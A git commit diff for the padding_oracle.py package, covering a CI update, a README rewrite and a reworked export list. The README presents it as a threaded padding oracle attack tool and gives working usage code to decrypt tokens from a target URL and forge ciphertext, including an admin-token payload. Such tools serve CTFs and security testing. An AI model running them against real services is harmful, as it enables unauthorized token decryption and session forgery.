refactor: support encryption

Author: djosix

.github/workflows/python-package.yml

@@ -16,7 +16,7 @@ jobs:
     strategy:
       fail-fast: false
       matrix:
-        python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
+        python-version: ["3.7", "3.8", "3.9", "3.10", "3.11", "3.12"]
 
     steps:
     - uses: actions/checkout@v3

README.md

@@ -1,116 +1,111 @@
-# Padding Oracle Python Automation Script 
+# Padding Oracle Automation in Python
 
-![python-package-badge](https://github.com/djosix/padding_oracle.py/actions/workflows/python-package.yml/badge.svg)
+![Python Package Badge](https://github.com/djosix/padding_oracle.py/actions/workflows/python-package.yml/badge.svg)
 
-The padding_oracle.py is a highly efficient, threaded [padding oracle](https://en.wikipedia.org/wiki/Padding_oracle_attack) attack automation script, specifically developed for Python 3.
+This script automates padding oracle attacks in Python, offering efficient and threaded execution.
 
 ## Installation
 
-You can install the package using either PyPI or directly from GitHub:
+You can install the script using one of these methods:
 
-**Via PyPI:**
-```shell
-pip3 install -U padding_oracle
-```
+- **Via PyPI:**
+  ```shell
+  pip3 install -U padding_oracle
+  ```
 
-**Via GitHub:**
-```shell
-pip3 install -U git+https://github.com/djosix/padding_oracle.py.git
-```
+- **Directly from GitHub:**
+  ```shell
+  pip3 install -U git+https://github.com/djosix/padding_oracle.py.git
+  ```
 
-## Performance Metrics
+## Performance
 
-Performance of padding_oracle.py was evaluated using [0x09] Cathub Party from EDU-CTF:
+The script's performance varies depending on the number of request threads. This was tested in a CTF web challenge:
 
-| Number of Request Threads | Time Taken |
-|-----------------|----------------|
-| 1               | 17m 43s        |
-| 4               | 5m 23s         |
-| 16              | 1m 20s         |
-| 64              | 56s            |
+| Request Threads | Time Taken  |
+|-----------------|-------------|
+| 1               | 17m 43s     |
+| 4               | 5m 23s      |
+| 16              | 1m 20s      |
+| 64              | 56s         |
 
-## How to Use
+## Usage
 
 ### Decryption
 
-To illustrate the usage, consider an example of testing `https://vulnerable.website/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`:
+When trying to decrypt a token like the one at `https://example.com/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`, this script assumes that the token is vulnerable to a padding oracle attack.
 
 ```python
-from padding_oracle import padding_oracle, base64_encode, base64_decode
+from padding_oracle import decrypt, base64_encode, base64_decode
 import requests
 
-sess = requests.Session() # use connection pool
-url = 'https://vulnerable.website/api/'
+sess = requests.Session()  # Uses connection pooling
+url = 'https://example.com/api/'
 
 def oracle(ciphertext: bytes):
-    resp = sess.get(url, params={'token': base64_encode(ciphertext)})
-
-    if 'failed' in resp.text:
-        return False # e.g. token decryption failed
-    elif 'success' in resp.text:
+    response = sess.get(url, params={'token': base64_encode(ciphertext)})
+    if 'failed' in response.text:
+        return False  # Token decryption failed
+    elif 'success' in response.text:
         return True
     else:
-        raise RuntimeError('unexpected behavior')
-
-ciphertext: bytes = base64_decode('M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94=')
-# len(ciphertext) is 32
-# possibly be "IV + cipher block" if block size is 16
+        raise RuntimeError('Unexpected behavior')
 
+ciphertext = base64_decode('M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94=')
 assert len(ciphertext) % 16 == 0
 
-plaintext = padding_oracle(
+plaintext = decrypt(
     ciphertext,
-    block_size = 16,
-    oracle = oracle,
-    num_threads = 16,
+    block_size=16,
+    oracle=oracle,
+    num_threads=16,
 )
 ```
 
 ### Encryption
 
-To illustrate the usage, consider an example of forging a token for `https://vulnerable.website/api/?token=<.....>` :
+Below is an example demonstrating how to encrypt arbitrary bytes. For a detailed understanding of the process, please refer to [this Pull Request](https://github.com/djosix/padding_oracle.py/pull/4). Keep in mind that, unlike the decryption process, this functionality cannot be parallelized.
 
 ```python
-from padding_oracle import padding_oracle, base64_encode, base64_decode
-import requests
+from padding_oracle import encrypt
 
-sess = requests.Session() # use connection pool
-url = 'https://vulnerable.website/api/'
+ciphertext = encrypt(b'YourTextHere', block_size=16, oracle=oracle)
+```
 
-def oracle(ciphertext: bytes):
-    resp = sess.get(url, params={'token': base64_encode(ciphertext)})
+### Customized Logging
 
-    if 'failed' in resp.text:
-        return False # e.g. token decryption failed
-    elif 'success' in resp.text:
-        return True
-    else:
-        raise RuntimeError('unexpected behavior')
+Both `encrypt` and `decrypt` allow user to inject a custom logger:
 
-payload: bytes =b"{'username':'admin'}"
+- **Disable Logging:**
+  ```python
+  from padding_oracle import nop_logger
 
-ciphertext = padding_oracle(
-    payload,
-    block_size = 16,
-    oracle = oracle,
-    num_threads = 16,
-    mode = 'encrypt'
-)
-```
+  plaintext = decrypt(
+      ...
+      logger=nop_logger,
+  )
+  ```
+
+- **Selective Logging:**
+  ```python
+  def logger(kind: str, message: str):
+      if kind in ('oracle_error', 'solve_block_error'):
+          print(f'[{kind}] {message}')
 
-In addition, the package provides PHP-like encoding/decoding functions:
+  plaintext = decrypt(
+      ...
+      logger=logger,
+  )
+  ```
+
+### Extras
+
+The script also includes PHP-like encoding and decoding functions:
 
 ```python
-from padding_oracle.encoding import (
-    urlencode,
-    urldecode,
-    base64_encode,
-    base64_decode,
-)
+from padding_oracle.encoding import urlencode, urldecode, base64_encode, base64_decode
 ```
 
 ## License
 
-Padding Oracle Python Automation Script is distributed under the terms of the MIT license.
-
-<!-- PiuPiuPiu -->
+This script is distributed under the MIT license.

src/padding_oracle/__init__.py

@@ -20,23 +20,36 @@
 SOFTWARE.
 '''
 
-from .solve import solve, convert_to_bytes, remove_padding
-from .encoding import (
-    urlencode, urldecode,
-    base64_encode, base64_decode,
-    to_bytes, to_str,
+from .padding_oracle import (
+    decrypt,
+    encrypt,
 )
-from .legacy import padding_oracle
+from .utils import (
+    to_bytes,
+    to_str,
+    base64_encode,
+    base64_decode,
+    urlencode,
+    urldecode,
+    remove_padding,
+    add_padding,
+)
+from .logger import Logger, default_logger, nop_logger
+from .solve import solve
 
 __all__ = [
-    'solve',
-    'convert_to_bytes',
-    'remove_padding',
-    'padding_oracle',
-    'urlencode',
-    'urldecode',
-    'base64_encode',
-    'base64_decode',
+    'decrypt',
+    'encrypt',
     'to_bytes',
     'to_str',
+    'base64_encode',
+    'base64_decode',
+    'urlencode',
+    'urldecode',
+    'remove_padding',
+    'add_padding',
+    'solve',
+    'Logger',
+    'default_logger',
+    'nop_logger',
 ]